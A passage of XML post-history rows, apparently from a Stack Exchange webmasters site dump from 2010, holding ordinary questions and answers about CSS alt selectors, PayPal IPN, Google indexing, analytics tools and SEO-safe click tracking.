  <row Id="8708" PostHistoryTypeId="2" PostId="4402" RevisionGUID="d3ae330f-2287-485f-9fd7-b2d2cbca8bbd" CreationDate="2010-10-25T21:48:24.903" UserId="2293" Text="First cause of errors to display a page on a server rather than in your local machine is absolute/relative paths.&#xD;&#xA;&#xD;&#xA;If some files cannot be found, like an external stylesheet, it is kinda obvious that it will display differently (and a lot diferently).&#xD;&#xA;&#xD;&#xA;Second most common cause would be the server and mime/types as mentioned per eli.gundry. Another cause can be inside the server also, .htaccess (a file that can change some behaviors).&#xD;&#xA;&#xD;&#xA;Well, supposing all links and paths are okay, and the server is serving the right mime/type, and .htaccess is not making any surprises (oh, yeah, SSI - server-side includes - can also do that), there is one option left that I can remember. File encoding.&#xD;&#xA;&#xD;&#xA;You can script in your local machine as UTF-8 and server forces declaration to ISO 8859-1 for example, making your page display strange characters. For inspect this, use Firefox with Firebug, and check request and response headers within the tab &quot;network&quot;.&#xD;&#xA;&#xD;&#xA;And one last tweak about this encoding stuff is, if you code with UTF-8, pay attention to with/without BOM (Byte Order Mask). The best tool I know so far to check and fix this is notepad++, a lightweight editor that runs on Windows." />
  <row Id="8709" PostHistoryTypeId="5" PostId="4304" RevisionGUID="fe7762d6-7c1e-491c-8a1a-c488b47e8ffa" CreationDate="2010-10-25T23:08:33.070" UserId="138" Comment="added 57 characters in body" Text="i have created a new adsense account for my blog &lt;sub&gt;[link removed as is loaded with ads, popups and who knows what kind of XSS]&lt;/sub&gt; and integrated ads with my blog. But i am getting page impressions zero. i am getting daily analytic's of 300 to 400 visitor/day still page impression are coming zero only. i have verified my pub-id. i don't no what is the problem. how to contact Google adsense team regarding this. please help me out in this.&#xD;&#xA;&#xD;&#xA;-Thanks " />
  <row Id="8710" PostHistoryTypeId="2" PostId="4403" RevisionGUID="b8ac07dd-dccc-4b64-801b-4383a9745e65" CreationDate="2010-10-26T00:55:42.643" UserDisplayName="morpheous" Text="I am monitoring the number of pages indexed by Gbot, for one of my websites .&#xD;&#xA;&#xD;&#xA;I noticed that since last week, the number of pages has dropped by about 60 or so. Now to be fair, I have not added that much over the last week (actually I dont think I added any new content). But at the very least, I would have thought that the number of indexed pages would be static (if I was not adding anything new) - so I dont understand why the numbers have dropped.&#xD;&#xA;&#xD;&#xA;Does anyone have an official explanation for this?. I have checked the Google webmaster site, and have not come accross anything that addresses this issue directly." />
  <row Id="8711" PostHistoryTypeId="1" PostId="4403" RevisionGUID="b8ac07dd-dccc-4b64-801b-4383a9745e65" CreationDate="2010-10-26T00:55:42.643" UserDisplayName="morpheous" Text="Why is the number of pages (of my website) indexd by googlebot decreasing?" />
  <row Id="8712" PostHistoryTypeId="3" PostId="4403" RevisionGUID="b8ac07dd-dccc-4b64-801b-4383a9745e65" CreationDate="2010-10-26T00:55:42.643" UserDisplayName="morpheous" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="8713" PostHistoryTypeId="6" PostId="4403" RevisionGUID="ce842096-3f35-4e16-9f78-0d4f4935a2b9" CreationDate="2010-10-26T01:05:04.177" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="8714" PostHistoryTypeId="2" PostId="4404" RevisionGUID="097231bc-27b2-49b8-9b84-4c5f2d8c2393" CreationDate="2010-10-26T03:04:23.043" UserDisplayName="Ben Ackles" Text="I tried targeting the the alt attribute in css. My solution worked in Firefox/Mozilla, but fails in Safari-Chrome/Webkit. Is there anything wrong with styling an alt tag? If not, how do you suppose I troubleshoot for Webkit.&#xD;&#xA;&#xD;&#xA;*Here's an example:*&#xD;&#xA;&#xD;&#xA;**CSS**&#xD;&#xA;&#xD;&#xA;    img#logo[alt=&quot;Site Title&quot;] { color: #999; font-size: 2em; }&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;img id=&quot;logo&quot; src=&quot;&quot; alt=&quot;Site Title&quot; width=&quot;&quot; height=&quot;&quot; /&gt;" />
  <row Id="8715" PostHistoryTypeId="1" PostId="4404" RevisionGUID="097231bc-27b2-49b8-9b84-4c5f2d8c2393" CreationDate="2010-10-26T03:04:23.043" UserDisplayName="Ben Ackles" Text="Is there anything wrong with targeting the alt attribute in css?" />
  <row Id="8716" PostHistoryTypeId="3" PostId="4404" RevisionGUID="097231bc-27b2-49b8-9b84-4c5f2d8c2393" CreationDate="2010-10-26T03:04:23.043" UserDisplayName="Ben Ackles" Text="&lt;css&gt;&lt;html&gt;&lt;firefox&gt;&lt;chrome&gt;&lt;safari&gt;" />
  <row Id="8717" PostHistoryTypeId="2" PostId="4405" RevisionGUID="293fd236-ca84-45de-9723-9197dc3f8ebc" CreationDate="2010-10-26T03:11:28.217" UserId="1253" Text="After doing some testing it doesn't seem as through webkit powered browsers support styling the alt attribute text. So your observations seem to be correct and unavoidable." />
  <row Id="8718" PostHistoryTypeId="2" PostId="4406" RevisionGUID="e9007561-ab72-4185-8ccb-544c09122b4a" CreationDate="2010-10-26T05:14:20.503" UserDisplayName="Techiegirl" Text="I know this idea can generate a lot of comments, but how about giving a specific e-book or a software or a book to the people who have commented on a particular post. I have seen this work in few blogs.&#xD;&#xA;&#xD;&#xA;For example, if it is a book review site, you can keep the prize as a newly released copy or advanced review copy (ARC). Generate a random number based on number of comments and give the book to the people who gave that comment.&#xD;&#xA;&#xD;&#xA;The solution needs to be customized for your community, hence I am not sure if this system will be useful for you." />
  <row Id="8719" PostHistoryTypeId="2" PostId="4407" RevisionGUID="80d6b733-90c1-44b6-a69e-42622f2a9382" CreationDate="2010-10-26T06:18:28.663" UserId="1279" Text="I have a private, paid-user-only service and I'm using Paypal Subscriptions as my payment gateway. It has been properly set-up (or I believe it has) with custom URLs defined for successful payments or cancellations.&#xD;&#xA;&#xD;&#xA;The success URL is what &quot;activates&quot; the user's account. However I find that users who make the payment don't follow thru by continuing to the successful payment URL. For users who cancel, I don't have a problem. &#xD;&#xA;&#xD;&#xA;But for those who make the payment but will not follow thru, I end up having to manually activate their accounts.&#xD;&#xA;&#xD;&#xA;What I need is Paypal to &quot;ping&quot; my activation / success URL when the payment is complete. I'm sure I've seen websites do this properly with Paypal. I wonder how it is done.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="8720" PostHistoryTypeId="1" PostId="4407" RevisionGUID="80d6b733-90c1-44b6-a69e-42622f2a9382" CreationDate="2010-10-26T06:18:28.663" UserId="1279" Text="Paypal Subscriptions - Getting users to continue to success/failure URLs" />
  <row Id="8721" PostHistoryTypeId="3" PostId="4407" RevisionGUID="80d6b733-90c1-44b6-a69e-42622f2a9382" CreationDate="2010-10-26T06:18:28.663" UserId="1279" Text="&lt;paypal&gt;" />
  <row Id="8722" PostHistoryTypeId="2" PostId="4408" RevisionGUID="9562860d-ac9d-478a-ab62-ab4a692370c9" CreationDate="2010-10-26T07:11:11.177" UserId="2712" Text="As the attribute selector is defined in the W3C CSS spec, you should be able to use it. But browsers implementations vary, and are more or less reliable.&#xD;&#xA;&#xD;&#xA;As you can see on [SitePoint Reference support for CSS attribute selector][1], Webkit's support is buggy. You could also see that [IE's css attribute selector support][2] varies from one version to another.&#xD;&#xA;&#xD;&#xA;Thus this selector is not supported by all browsers yet.&#xD;&#xA;&#xD;&#xA;As a more reliable way, you should use the ID selector, which is supported by all browsers:&#xD;&#xA;&#xD;&#xA;&gt; \#logo { color: #999; font-size: 2em; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/css/attributeselector#compatibilitysection&#xD;&#xA;  [2]: http://msdn.microsoft.com/en-us/library/cc351024%28VS.85%29.aspx#attributeselectors" />
  <row Id="8723" PostHistoryTypeId="2" PostId="4409" RevisionGUID="019bf648-cd29-49e6-b1af-ec604dd49659" CreationDate="2010-10-26T07:35:27.160" UserId="89" Text="You have to use &quot;IPN&quot;, it's a paypal service that send info about activation/deactivation to a URL on your site and is well documented at https://www.paypal.com/ipn&#xD;&#xA;" />
  <row Id="8724" PostHistoryTypeId="2" PostId="4410" RevisionGUID="79913dc4-4002-4199-bbdb-09bd5eb793af" CreationDate="2010-10-26T08:15:39.107" UserId="1808" Text="I have a problem with a site, in which I try to find out what is wrong. The website is kiteclub.gr. I think that following two scripts are corresponding for the high memory usage from ie and cpu:&#xD;&#xA;&#xD;&#xA;URI: http://www.kiteclub.gr/templates/sportopolis/js/tooltips.js&#xD;&#xA;&#xD;&#xA;URI: http://cdn.wibiya.com/Toolbars/dir_0024/Toolbar_24280/toolbar_24280_4c90bb56d2aa3.js&#xD;&#xA;&#xD;&#xA;do you get error on the same scripts in IE? If yes can you copy-paste the errors? Also do you agree that this make the site to use so much memory and cpu?? Or you think there is another problem? Any advice to solve it?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="8725" PostHistoryTypeId="1" PostId="4410" RevisionGUID="79913dc4-4002-4199-bbdb-09bd5eb793af" CreationDate="2010-10-26T08:15:39.107" UserId="1808" Text="Memory problem - CPU high usage in IE" />
  <row Id="8726" PostHistoryTypeId="3" PostId="4410" RevisionGUID="79913dc4-4002-4199-bbdb-09bd5eb793af" CreationDate="2010-10-26T08:15:39.107" UserId="1808" Text="&lt;javascript&gt;&lt;internet-explorer&gt;&lt;error&gt;" />
  <row Id="8727" PostHistoryTypeId="5" PostId="4410" RevisionGUID="b0412859-6b1d-4e48-8a15-d69e0e9a10ca" CreationDate="2010-10-26T08:25:52.193" UserId="1808" Comment="added 142 characters in body" Text="I have a problem with a site, in which I try to find out what is wrong. The website is kiteclub.gr. I think that following two scripts are corresponding for the high memory usage from ie and cpu:&#xD;&#xA;&#xD;&#xA;URI: http://www.kiteclub.gr/templates/sportopolis/js/tooltips.js&#xD;&#xA;&#xD;&#xA;URI: http://cdn.wibiya.com/Toolbars/dir_0024/Toolbar_24280/toolbar_24280_4c90bb56d2aa3.js&#xD;&#xA;&#xD;&#xA;If you let the website open and you do something else, after some minutes new tabs of the site opens and new windows of internet explorer!&#xD;&#xA;&#xD;&#xA;do you get error on the same scripts in IE? If yes can you copy-paste the errors? Also do you agree that this make the site to use so much memory and cpu?? Or you think there is another problem? Any advice to solve it?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="8728" PostHistoryTypeId="2" PostId="4411" RevisionGUID="4d881f67-a449-4fbe-bf4e-20f71127d714" CreationDate="2010-10-26T08:42:07.933" UserId="2713" Text="the cause of the problem is the ad. It has a link to close itself (Fermer). In the onclick event of the link there is a function call: fermeture(). The href is &quot;#&quot;. But there is no return false in the onclick event, which means, the page http://www.wanimo.com/fr/chiens/coussin-matelas-tapis-pour-chien-sc28/tapis-plat-urban-chic-sf7263/# is loaded.&#xD;&#xA;&#xD;&#xA;To solve this problem, the ad window should look like this:&#xD;&#xA;&amp;lt;a href=&quot;#&quot; onclick=&quot;fermeture(); **return false**&quot;&amp;gt;Fermer&amp;lt;/a&amp;gt;&#xD;&#xA;&#xD;&#xA;In an onclick event of a link &quot;return false&quot; means that the page will not redirected to the url in the href attribute, but it will stay on the current page, as if nothing had happened.&#xD;&#xA;" />
  <row Id="8729" PostHistoryTypeId="2" PostId="4412" RevisionGUID="9dbb9328-a407-4191-bbff-6d563663ffb5" CreationDate="2010-10-26T09:25:08.353" UserId="2730" Text="Since these kind of selectors are new, coming with CSS3 - it is expected that not all browsers support them the same way.&#xD;&#xA;&#xD;&#xA;You might want to open a bug for the webkit project for them to fix it.&#xD;&#xA;&#xD;&#xA;In general, not all selectors are even supported according to:&#xD;&#xA;&#xD;&#xA;* [http://www.css3.info/modules/selector-compat/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.css3.info/modules/selector-compat/" />
  <row Id="8730" PostHistoryTypeId="2" PostId="4413" RevisionGUID="95d3a118-1ec8-4af6-861c-74332f9280e4" CreationDate="2010-10-26T09:27:11.197" UserId="233" Text="I tried it and it works perfectly for me. Note that the `color` and `font-size` properties won't have any effect in Chrome, since no text gets displayed. (Firefox displays the alt text if the image cannot be found.) Using the width property, for example, shows that it works fine. I'll post my code below for you to see.&#xD;&#xA;&#xD;&#xA;However, to your original question, targeting what is essentially a &quot;free text&quot; field in CSS is prone to mishap. It's very easy to change an alt attribute without thinking about repercussions in CSS (as opposed to changing a class name where it should be obvious).&#xD;&#xA;&#xD;&#xA;Furthermore, since you are already targeting an ID you only need to use that selector - an ID can only be used once per page.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;htm&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;      &lt;style&gt;img#logo[alt=&quot;Site Title&quot;] { width:200px }&lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;      &lt;img alt=&quot;Site Title&quot; src=&quot;bullet.png&quot; id=&quot;logo&quot; /&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;" />
  <row Id="8731" PostHistoryTypeId="2" PostId="4414" RevisionGUID="6ab77ae8-c6b6-463c-8602-2db15bd2f52d" CreationDate="2010-10-26T09:30:13.800" UserId="2730" Text="You can use [phpMyID (http://siege.org/phpmyid.php)][1], I know it is deprecated and no longer maintained - but it works and I use it on my own domain. All you need is that your hosted domain supports php scripts, and since most of them do - it should not be a problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siege.org/phpmyid.php" />
  <row Id="8732" PostHistoryTypeId="2" PostId="4415" RevisionGUID="c2b14c56-7cb8-4794-bfef-472a06f8dfdf" CreationDate="2010-10-26T09:40:38.030" UserId="2730" Text="First, Google Bot can detect if pages were not updated and not crawl them in the first place (this should not reduce the amount of indexed pages). He can detect that in multiple ways, for example using timestamps or etags.&#xD;&#xA;&#xD;&#xA;After crawling, there is no promise that it will get indexed - it may, or it may not. There are quite a lot of factors that determine if Google will index the pages the bot crawled.&#xD;&#xA;&#xD;&#xA;From time to time Google will also purge their index and remove pages that they don't think should be there. Things like content-duplication, junk/spam content and other factors are used to decide this. No one (except Google) actually knows in advance when these kind of purges happen, or what factors are used. But they do happen from time to time.&#xD;&#xA;&#xD;&#xA;Also, read the content under the title &quot;Indexing Stuff&quot; at the link for even more information, [http://www.google.com/support/forum/p/Webmasters/thread?tid=2ad71287c04eb280][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=2ad71287c04eb280&#xD;&#xA;" />
  <row Id="8733" PostHistoryTypeId="2" PostId="4416" RevisionGUID="729e0824-ee43-40f9-9d49-d77db2b61c38" CreationDate="2010-10-26T09:43:37.297" UserId="233" Text="This sounds like Googlebot is no longer able to find your pages. If a page is still on your site, Google won't remove it from the index, but if many pages are returning 404 errors then they would generally be removed. In Webmaster Tools, check the &quot;fetch as Googlebot&quot; tool on some of your pages.&#xD;&#xA;&#xD;&#xA;Duplicate content on the same site (e.g. the URLs `page.html` and `page.html?x=nothing`) may be ignored/removed but duplicate content across multiple sites (e.g. if you copied content from Wikipedia) would never be *removed* from the index per se, it simply will not rank anywhere." />
  <row Id="8734" PostHistoryTypeId="12" PostId="4412" RevisionGUID="f7a88936-3c61-476a-8732-949c029fc594" CreationDate="2010-10-26T09:44:11.180" UserId="2730" Text="[{&quot;Id&quot;:2730,&quot;DisplayName&quot;:&quot;Evgeny&quot;}]" />
  <row Id="8735" PostHistoryTypeId="5" PostId="4412" RevisionGUID="40811d1f-f8f6-4e83-9c13-e2bbd7f91fe2" CreationDate="2010-10-26T09:47:03.523" UserId="2730" Comment="added 5 characters in body" Text="The CSS selector is selecting the &lt;img&gt; tag, thus affects the way the &lt;img&gt; tag is displayed. Pretty sure if you turn off your images and look at the alternate text displayed in that place is shows up as it is written in your css.&#xD;&#xA;&#xD;&#xA;You might want to open a bug for the webkit project for them to fix it - if they feel that the behavior of firefox is what they want to do there.&#xD;&#xA;" />
  <row Id="8736" PostHistoryTypeId="13" PostId="4412" RevisionGUID="f015c7d1-1bf1-4da3-aef3-ec552d796d17" CreationDate="2010-10-26T09:47:09.170" UserId="2730" Text="[{&quot;Id&quot;:2730,&quot;DisplayName&quot;:&quot;Evgeny&quot;}]" />
  <row Id="8737" PostHistoryTypeId="2" PostId="4417" RevisionGUID="ec4a5862-87ec-4ca1-9277-9a04c654221f" CreationDate="2010-10-26T09:59:53.853" UserDisplayName="snub" Text="I'm looking for a list of the best free web statistics and analytics packages for my my site using PHP &amp; MySQL?" />
  <row Id="8738" PostHistoryTypeId="1" PostId="4417" RevisionGUID="ec4a5862-87ec-4ca1-9277-9a04c654221f" CreationDate="2010-10-26T09:59:53.853" UserDisplayName="snub" Text="Best Free Web Statistics and Analytics Packages For Sites Using PHP &amp; MySQL." />
  <row Id="8739" PostHistoryTypeId="3" PostId="4417" RevisionGUID="ec4a5862-87ec-4ca1-9277-9a04c654221f" CreationDate="2010-10-26T09:59:53.853" UserDisplayName="snub" Text="&lt;php&gt;&lt;analytics&gt;&lt;mysql&gt;" />
  <row Id="8740" PostHistoryTypeId="2" PostId="4418" RevisionGUID="3b64ef9c-e88b-4fe1-b019-839f96a63a60" CreationDate="2010-10-26T10:02:23.277" UserId="2713" Text="I think it's too hard to debug those JS-files, costs much more time, as you can expect somebody here to do.&#xD;&#xA;I suggest, that you remove all scripts and flash from your page, and put them back one after one, testing each one looking for the phenomenon, when it comes back again. That way you can be sure, which script or flash object is buggy.&#xD;&#xA;&#xD;&#xA;But even if you find the buggy script, your site should be havily redesigned. You have way too much inline styles and scripts and some of the scripts look very old-fashioned, not in their own namespace, polluting the global namespace. And so on. I'm sure there are better and newer alternatives for your demands. (e.g. Look for jQuery plugins.)&#xD;&#xA;&#xD;&#xA;I wish you good luck with your site. Cheers,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="8741" PostHistoryTypeId="2" PostId="4419" RevisionGUID="0a06b661-dbbc-48a9-af31-4e2144d2b82d" CreationDate="2010-10-26T10:59:46.467" UserId="233" Text="[Google Analytics][1] is pretty much the best around, regardless of server platform. Unless there is a specific reason you need to use server-side analytics rather than a client-side Javascript solution, Google Analytics is the way to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="8743" PostHistoryTypeId="2" PostId="4421" RevisionGUID="34953c68-a907-40d6-a34d-101697b9cefb" CreationDate="2010-10-26T11:07:58.933" UserId="1279" Text="http://piwik.org/ is a good option if you're looking for self-hosting." />
  <row Id="8744" PostHistoryTypeId="2" PostId="4422" RevisionGUID="5f883f8d-68e4-45e3-8bf5-7b7f97b73d27" CreationDate="2010-10-26T11:32:19.857" UserId="1953" Text="It looks like very recently Google has had a &quot;glitch&quot; with their indexing, it appears a lot of sites were seeing pages drop out of Google's index read here for more details:&#xD;&#xA;&#xD;&#xA;http://searchengineland.com/is-google-broken-sites-big-small-seeing-indexing-problems-53701&#xD;&#xA;&#xD;&#xA;There is always the possibility that there are other issues impacting your site's ability to be indexed, but since this is a wide spread issue that Google seems to have confirmed I'd start there. " />
  <row Id="8745" PostHistoryTypeId="2" PostId="4423" RevisionGUID="db71e8f6-48bf-483e-9a62-e25e4bc772c8" CreationDate="2010-10-26T11:58:03.233" UserId="2713" Text="sorry I'm new here, and don't have enough reps to comment on the comment of Lèse majesté. So here it is as an answer:&#xD;&#xA;&#xD;&#xA;URL-Encoding and XML entity encoding are not the same things.&#xD;&#xA;You need URL-Encoding to replace special characters in URLs, such as &amp; which can only be used for the separation of query parameters.&#xD;&#xA;XML entity encoding is for encoding special characters in XML (also XHTML). This means, if you have a URL in an XML (or XHTML) file, and this URL includes some &amp; characters, you have to entity encode it to &amp;amp;amp;. So in a sitemap.xml you will have urls like in the question from Marco Demaio.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="8747" PostHistoryTypeId="5" PostId="4350" RevisionGUID="99fbfee0-23f8-44fe-ac51-b97f3d40ff93" CreationDate="2010-10-26T12:08:03.600" UserId="89" Comment="added 326 characters in body" Text="You can:&#xD;&#xA;&#xD;&#xA;1. Add a big link at the top of every old page linking to the corresponding current events page - this will let visitors easily find the current page and signal to search engines the new page is the important page.&#xD;&#xA;&#xD;&#xA;2. Submit an [XML sitemap](http://en.wikipedia.org/wiki/Site_map) to all the major search engines, sitemaps have a priority field that let you specify what are the important pages.&#xD;&#xA;&#xD;&#xA;3. Add `&lt;link rel=&quot;canonical&quot;&gt;`[(explanation of link rel canonical)](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394) to the old pages to tell the search engines to go to the newer version (**use with care**, this is not the purpose of canonical so it may have side effects, **it may get your old pages de-indexed**, it may transfer rank or not, it's also quite possible it will do nothing and for all I know there's a chance it will cause flying monkey to burst out of your screen on the next Google algorithm update)&#xD;&#xA;&#xD;&#xA;I would do the first 2 and wait for a few weeks to see it it helps, don't do point 3 unless you really want to, I'm leaving it here for completeness only." />
  <row Id="8748" PostHistoryTypeId="2" PostId="4424" RevisionGUID="1b8ce03b-3054-44fb-b142-c90260835260" CreationDate="2010-10-26T12:30:28.613" UserDisplayName="confofact" Text="How to set default message, I am using addthis button for invite a friend Email on a website. that default message should also work if user choose gmail, yahoo etc from addthis box." />
  <row Id="8749" PostHistoryTypeId="1" PostId="4424" RevisionGUID="1b8ce03b-3054-44fb-b142-c90260835260" CreationDate="2010-10-26T12:30:28.613" UserDisplayName="confofact" Text="addthis button default message" />
  <row Id="8750" PostHistoryTypeId="3" PostId="4424" RevisionGUID="1b8ce03b-3054-44fb-b142-c90260835260" CreationDate="2010-10-26T12:30:28.613" UserDisplayName="confofact" Text="&lt;javascript&gt;" />
  <row Id="8751" PostHistoryTypeId="6" PostId="4424" RevisionGUID="0edee492-5828-4107-a9be-6228b0a15d07" CreationDate="2010-10-26T13:05:15.987" UserId="1253" Comment="edited tags" Text="&lt;javascript&gt;&lt;addthis&gt;" />
  <row Id="8752" PostHistoryTypeId="2" PostId="4425" RevisionGUID="12f53322-0103-4890-98aa-135435b02e73" CreationDate="2010-10-26T13:21:23.773" UserId="129" Text="After updating from Magento 1.2 to 1.4 I noticed that the Lifetime Sales amount was incorrect (other sales reports are fine). Even after making a fake order the Lifetime Sales didn't change. I tried refreshing statistics but nothing happened. Searching the web for this problem turned up a lot of people with the same issue but no solutions. Any suggestions?" />
  <row Id="8753" PostHistoryTypeId="1" PostId="4425" RevisionGUID="12f53322-0103-4890-98aa-135435b02e73" CreationDate="2010-10-26T13:21:23.773" UserId="129" Text="Total / Lifetime Sales on Magento Dashboard is incorrect" />
  <row Id="8754" PostHistoryTypeId="3" PostId="4425" RevisionGUID="12f53322-0103-4890-98aa-135435b02e73" CreationDate="2010-10-26T13:21:23.773" UserId="129" Text="&lt;magento&gt;" />
  <row Id="8755" PostHistoryTypeId="2" PostId="4426" RevisionGUID="d0fb16d2-e017-42dd-bfaa-40743944aee0" CreationDate="2010-10-26T13:50:34.357" UserId="129" Text="The fake order was added to Lifetime Sales after changing the state from Pending to Processing (or Shipped). Therefore my guess is that Magento changed the way it calculates Lifetime Sales and doesn't take Pending orders into account (any more). Any other small differences are due to the fact that Taxes and Shipping are not included in Lifetime Sales. " />
  <row Id="8756" PostHistoryTypeId="2" PostId="4427" RevisionGUID="ac07d075-938f-4edc-a457-6336366f06ce" CreationDate="2010-10-26T14:00:56.950" UserId="2551" Text="I want to build a small directory for programming-related websites only and I'm a little bit confused at the moment. I want to be able to track how many times visitors clicked links to certain websites, but I still want Google to pick-up that link as being towards site X, without losing any SEO value (meaning, for Google, that link still has to look like a clean backlink, not a link to a PHP file that redirects the user to another website).&#xD;&#xA;&#xD;&#xA;Question is, if I use jQuery to post some data (simply &quot;link x clicked&quot;) to a PHP script beforethe default behaviour (directing the user to the page), will Google penalize the link or will it still be as valuable as a normal back-link?&#xD;&#xA;&#xD;&#xA;Thanks all,&#xD;&#xA;Claudiu" />
  <row Id="8757" PostHistoryTypeId="1" PostId="4427" RevisionGUID="ac07d075-938f-4edc-a457-6336366f06ce" CreationDate="2010-10-26T14:00:56.950" UserId="2551" Text="Link to another website and track clicks on the link while also keeping the link &quot;valuable&quot; from a SEO point of view" />
  <row Id="8758" PostHistoryTypeId="3" PostId="4427" RevisionGUID="ac07d075-938f-4edc-a457-6336366f06ce" CreationDate="2010-10-26T14:00:56.950" UserId="2551" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="8759" PostHistoryTypeId="2" PostId="4428" RevisionGUID="92fcbcba-81bc-4bb9-891e-7b56aa73eb8e" CreationDate="2010-10-26T14:08:10.970" UserId="2379" Text="Google analytics allows you to track outbound links.. &#xD;&#xA;another option would be to rewrite you links upon page load with jquery if you want to use a redirect script.  " />
  <row Id="8760" PostHistoryTypeId="2" PostId="4429" RevisionGUID="727512e8-01fa-42bc-8ae7-655db014dbbd" CreationDate="2010-10-26T14:16:13.427" UserId="2737" Text="What I would suggest you do is Google around, see what sites are reporting yours as malicious. For example, I found that [this post][1] on [Free PC Security][2] is where most of the reports come from. Try contacting that site and asking them why your whole domain is flagged, and request that they remove you from their list.&#xD;&#xA;&#xD;&#xA;Also you could check out websites like [Web of Trust][3] or [SiteAdvisor][4] *(links go directly to the report on AnyHub)* to see why your site is flagged and if you can rectify this situation. Most of these sites give you help on how to get your reputation up and some even let you post a comment as a site owner explaining what happened.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freepcsecurity.co.uk/2010/09/24/malicious-sites-september-24/&#xD;&#xA;  [2]: http://www.freepcsecurity.co.uk/&#xD;&#xA;  [3]: http://www.mywot.com/en/scorecard/anyhub.net&#xD;&#xA;  [4]: http://www.siteadvisor.com/sites/anyhub.net" />
  <row Id="8761" PostHistoryTypeId="2" PostId="4430" RevisionGUID="19fb88b3-d909-421d-b518-816e5551430e" CreationDate="2010-10-26T14:17:14.333" UserId="108" Text="Google does give you a way to do it.  For Asynchronous tracking use the code found here, http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55527." />
  <row Id="8762" PostHistoryTypeId="2" PostId="4431" RevisionGUID="016c73c6-fea4-4a59-b888-9283974dff59" CreationDate="2010-10-26T14:29:34.890" UserId="1757" Text="A JavaScript-free way of doing this might be to use a 301 redirect. Google still passes PR when it's a 301 redirect (I'm not sure whether 302 passes PR), so if you use a 301 redirect from your tracking page, then you'll be fine. And 301 should also preserve referrer information." />
  <row Id="8763" PostHistoryTypeId="2" PostId="4432" RevisionGUID="3310ba6c-9f1d-48be-9a5b-db6b922b9e9b" CreationDate="2010-10-26T15:48:03.047" UserId="2740" Text="I can't figure out why my tags are being indexed by google and not my actual posts. So in google, my posts are showing up as mysite.com/tags/post and I of course I want it to look like mysite.com/category/actualpost.&#xD;&#xA;&#xD;&#xA;Any ideas what could be wrong? My domain is 3 years old and I just started a new focus of an existing site. I can't figure this out! There is no duplicate content, I have a sitemap submitted to webmaster tools and robots.txt...I have everything I need. This is the first time something like this has happened to me.&#xD;&#xA;&#xD;&#xA;Let me know if anyone has any ideas." />
  <row Id="8764" PostHistoryTypeId="1" PostId="4432" RevisionGUID="3310ba6c-9f1d-48be-9a5b-db6b922b9e9b" CreationDate="2010-10-26T15:48:03.047" UserId="2740" Text="Why are the tags on my site using wordpress being indexed instead of the page?" />
  <row Id="8765" PostHistoryTypeId="3" PostId="4432" RevisionGUID="3310ba6c-9f1d-48be-9a5b-db6b922b9e9b" CreationDate="2010-10-26T15:48:03.047" UserId="2740" Text="&lt;wordpress&gt;" />
  <row Id="8766" PostHistoryTypeId="2" PostId="4433" RevisionGUID="9d001cc1-3741-4961-8e07-04f06cfa78f2" CreationDate="2010-10-26T15:57:41.113" UserId="1279" Text="I would not try to &quot;kill off&quot; traffic to the old content. I would link to relevant new content in the old content that's getting the traffic." />
  <row Id="8767" PostHistoryTypeId="5" PostId="4431" RevisionGUID="e06725cb-f0ed-4812-8fae-7d3911549012" CreationDate="2010-10-26T16:05:22.417" UserId="1757" Comment="added 1890 characters in body" Text="A JavaScript-free way of doing this might be to use a 301 redirect. Google still passes PR when it's a 301 redirect (I'm not sure whether 302 passes PR), so if you use a 301 redirect from your tracking page, then you'll be fine. And 301 should also preserve referrer information.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;I want to elaborate on the logic of this method. As Tim noted below, this isn't actually the official use of a 301 redirect, which technically is a way for a web server to indicate that a resource has been permanently moved. Likewise, 302 is technically for indicating when a resource has been temporarily moved to a new location.&#xD;&#xA;&#xD;&#xA;However, the 301/302 response codes have a history of being appropriated for other uses by browsers, by search engines and by developers. For example, before 303 existed, it was common to use a 302 redirect to respond to POST requests when you wanted to redirect the user to another page (ie. to prevent a page refresh resubmitting the form). This was technically not what a 302 is supposed to be used for, but due to the lack of alternatives, it was still standard practice to use 302 in this way. Today we have 303, so 302 redirects should no longer be used for this type of redirection, though many applications still do.&#xD;&#xA;&#xD;&#xA;Another common nonstandard use of 301/302 redirects is for URL shortening. It's widely recommended for SEO purposes that, if you need to shorten a URL, you use a service that performs a 301 redirect. But technically the content hasn't been moved from the shortened URL to the destination; the shortened URL is just a new alias for it.&#xD;&#xA;&#xD;&#xA;Still, when you choose between using JavaScript or 301 redirects for click-tracking, take the following into consideration:&#xD;&#xA;&#xD;&#xA; - Google recommends using the JavaScript method, and they're a bit of an authority on web analytics and SEO.&#xD;&#xA; - As Tim mentions, the JavaScript method prevents crawlers from being counted by your click tracker (though you could probably filter crawlers out another way).&#xD;&#xA; - Using the 301 redirection method doesn't conform with the official use of 301 laid out in the HTTP specs.&#xD;&#xA; - On the flip side, you do allow 